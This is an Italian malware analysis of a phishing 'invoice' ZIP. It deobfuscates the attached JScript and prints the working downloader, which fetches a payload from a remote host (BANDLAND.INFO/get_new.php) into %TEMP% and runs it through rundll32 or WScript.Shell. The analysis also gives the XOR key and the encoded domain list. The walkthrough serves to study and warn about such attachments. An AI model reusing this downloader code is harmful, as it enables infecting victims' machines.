Analisi di un virus downloader nascosto in un allegato mail


Capita a tutti di ricevere email con allegati sospetti. I più distratti finiscono per aprire tali allegati, spesso verosimili, e finire per infettare il proprio pc con qualche virus.

Approfittiamo di una mail di questo tipo per analizzare un caso specifico:

 Proviamo a verificare il contenuto del file compresso che promette di essere una fattura:

Archive:  fattura_82902_del_08_10_2015.zip
  Length      Date    Time    Name
--------    ------------ ------  -------­­­­­­­­­  ­­­­­­­­­­ ­­­­­   ­­­­
     4890  2015­10­08 23:24   fattura_no_04417325.js
       19  2015­10­08 23:24   scrittura_66662572.txt
--------    ------------ ------  -------                     ­­­­­­­
     4909                     2 files

Un file .js (javascript) è un tantino sospetto come fattura.

Controllandone il contenuto si potrà vedere uno script monoriga "offuscato", di cui riportiamo la parte finale per brevità:

%;\x1d\x14\x0b9\x04pSC6+OIZCmvbcZC$0bk9\x05\x045:)\x149+\x1e/\x0d\x1c\x08\x1b\x7fb8wimvbcZCmvbcZC/
$\x27"\x11X@\x5cbcZCmvbc\x07X@\x5cbcZC0mOI\x07X@\x5c\x09\x02\x12\x12 \x0c
%;\x1d\x14\x0b9\x04kXAdmOI1"%\x27/\x19\x1d\x1b*!\x04,<Kop2\x27\x1c^\x1b\x10:\x06>0!\x0c`jA';for (var
QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 < QlbcPc.length; FvteDVHyyuij6++)
QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);eval ( QSrigcVg ) ;

Per vedere "in chiaro" il contenuto dello script generato ed eseguito al volo, abbiamo bisogno di un interprete javascript.

Su ubuntu/debian possiamo procurarcelo facilmente:

apt-­get install libv8-­dev

Poi copiamo l'esempio di interprete fornito con questo pacchetto:

cp /usr/share/doc/libv8­-dev/examples/shell.cc.gz

e lo scompattiamo e compiliamo:

gunzip shell.cc.gz

g++ ­-Os shell.cc ­-o jscli ­-lv8

Fatto questo, torniamo allo script e sostituiamo:

eval ( QSrigcVg ) ;

con:

print ( QSrigcVg ) ;

poi, avendo salvato il risultato in test.js possiamo eseguire lo script a video:

. /jscli  test.js

oppure salvare il risultato su un file:

./jscli test.js  > clear.js

ecco comunque il risultato:

KAhqmZgxgwFoF8 = "0810DTIT";
function KAhqmZgxgwFoF(IpjYsOBAdyYsOW) {
    var KAhqmZgxgwFoF4 = '+ \x14\x14\x179<\x1a\x08\x17<<\x1f\x06t;&\x1cLP  :
(\x1f\x05\x169\x27\x15o\x136/\x1eLP  +=\x14\x11\x0a7 \x1f\x15t6,\x05LP  
=;\x18\x0a\x09+&\x1f\x04\x16=*\x05\x13\x13;G\x12\x0e\x17uc  \x11\x1d42;V\x02+LP  
>:\x13\x0e\x0a9;\x05\x0f\x1f*:\x7f\x0e\x08?d[  .(\x1f\x12\x1e=
%\x04\x19\x097<\x07\x04\x141;\x7f\x02\x155d['.split("  ");
    if (IpjYsOBAdyYsOW == "") {
        GfzsgzcYH = ".dll";
    } else {
        GfzsgzcYH = ".pdf";
    };
    for (var gymJnW = 0; gymJnW < KAhqmZgxgwFoF4.length; gymJnW++) {
        var rpKrD = new ActiveXObject("WScript.Shell");
        wdahSAxXCeS = rpKrD.ExpandEnvironmentStrings("%TEMP%") + "\\" + Math.round(1e8 *
Math.random()) + GfzsgzcYH;

        CfIcxjnZfHmNfkV = false;
        KAhqmZgxgwFoF0 = new ActiveXObject("MSXML2.XMLHTTP");
        KAhqmZgxgwFoF0.onreadystatechange = function() {
            if (4 == KAhqmZgxgwFoF0.readyState && 200 == KAhqmZgxgwFoF0.status) {
                var KAhqmZgxgwFoF1 = new ActiveXObject("ADODB.Stream");
                if (KAhqmZgxgwFoF1.open(), KAhqmZgxgwFoF1.type = 1,
KAhqmZgxgwFoF1.write(KAhqmZgxgwFoF0.ResponseBody), 5e3 < KAhqmZgxgwFoF1.size) {
                    CfIcxjnZfHmNfkV = true;
                    KAhqmZgxgwFoF1.position = 0;
                    KAhqmZgxgwFoF1.saveToFile(wdahSAxXCeS, 2);
                    try {
    if (IpjYsOBAdyYsOW == "") {
rpKrD.Exec("rundll32 " + wdahSAxXCeS + ", " +
"DllRegisterServer");

    } else {
        rpKrD.Run(wdahSAxXCeS, 1, 0);
    };
                    } catch (KAhqmZgxgwFoF2) {}
                }
                KAhqmZgxgwFoF1.close()
            }
        };
        try {
            var FadFhrslN = 'xiQAZ';
            var QlbcPc = KAhqmZgxgwFoF4[gymJnW];
            for (var QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 <
QlbcPc.length; FvteDVHyyuij6++) QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);
            KAhqmZgxgwFoF0.open("GET", "http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" +
Math.random() + "&key=" + KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);

            KAhqmZgxgwFoF0.send();
        } catch (KAhqmZgxgwFoF3) {}
        if (CfIcxjnZfHmNfkV) {
            break;
        };
    };
};
KAhqmZgxgwFoF("");
KahqmZgxgwFoF("&pdf=VFxEDSlZ");

Quindi ricapitolando, in base al testo sottolineato, l'utente distratto che proverà ad aprire il file .zip e ad eseguire il .js si ritroverà, aperto nel browser, un file pdf del tutto simile ad una fattura mentre contemporaneamente il .js provvederà a scaricare ed eseguire un virus nella directory temporanea di download.

Anche qua c'è comunque del testo offuscato, precisamente il link dal quale avverà il download del virus vero e proprio e il pdf della fattura finta.

Dunque sostituiamo questo secondo script:

KAhqmZgxgwFoF8 = "0810DTIT";
    var KAhqmZgxgwFoF4 = '+ \x14\x14\x179<\x1a\x08\x17<<\x1f\x06t;&\x1cLP  :
(\x1f\x05\x169\x27\x15o\x136/\x1eLP  +=\x14\x11\x0a7 \x1f\x15t6,\x05LP  
=;\x18\x0a\x09+&\x1f\x04\x16=*\x05\x13\x13;G\x12\x0e\x17uc  \x11\x1d42;V\x02+LP  
>:\x13\x0e\x0a9;\x05\x0f\x1f*:\x7f\x0e\x08?d[  .(\x1f\x12\x1e=
%\x04\x19\x097<\x07\x04\x141;\x7f\x02\x155d['.split("  ");
            var FadFhrslN = 'xiQAZ';
            IpjYsOBAdyYsOW = ""    ;
var QlbcPc = KAhqmZgxgwFoF4[1];
            for (var QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 <
QlbcPc.length; FvteDVHyyuij6++) QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);
 */         /* KAhqmZgxgwFoF0.open("GET", "http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" +
Math.random() + "&key=" + KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);
            print("http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" + Math.random() + "&key=" +
KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);
            /* KAhqmZgxgwFoF0.send();
KAhqmZgxgwFoF("");
KAhqmZgxgwFoF("&pdf=VFxEDSlZ");
*/

ed eseguendolo, ecco finalmente la nostra stringa:

http://BANDLAND.INFO/get_new.php?WgexhmAYgNppw=0.3442128037568182&key=0810DTIT

Naturalmente se proveremo ad avvicinarci a badland.info con un browser, verremo avvisati che il sito è pericoloso e che le peggio cose potrebbero capitarci qualora decidessimo di ignorare gli avvisi e continuare la navigazione su tale sito.

I più curiosi, possono andare su http://www.whois.com inserire il nome del dominio in questione e verificare a chi è intestato e, quasi sicuramente, notare come gli intestatari si avvicendino relativamente spesso tornando a controllare saltuariamente.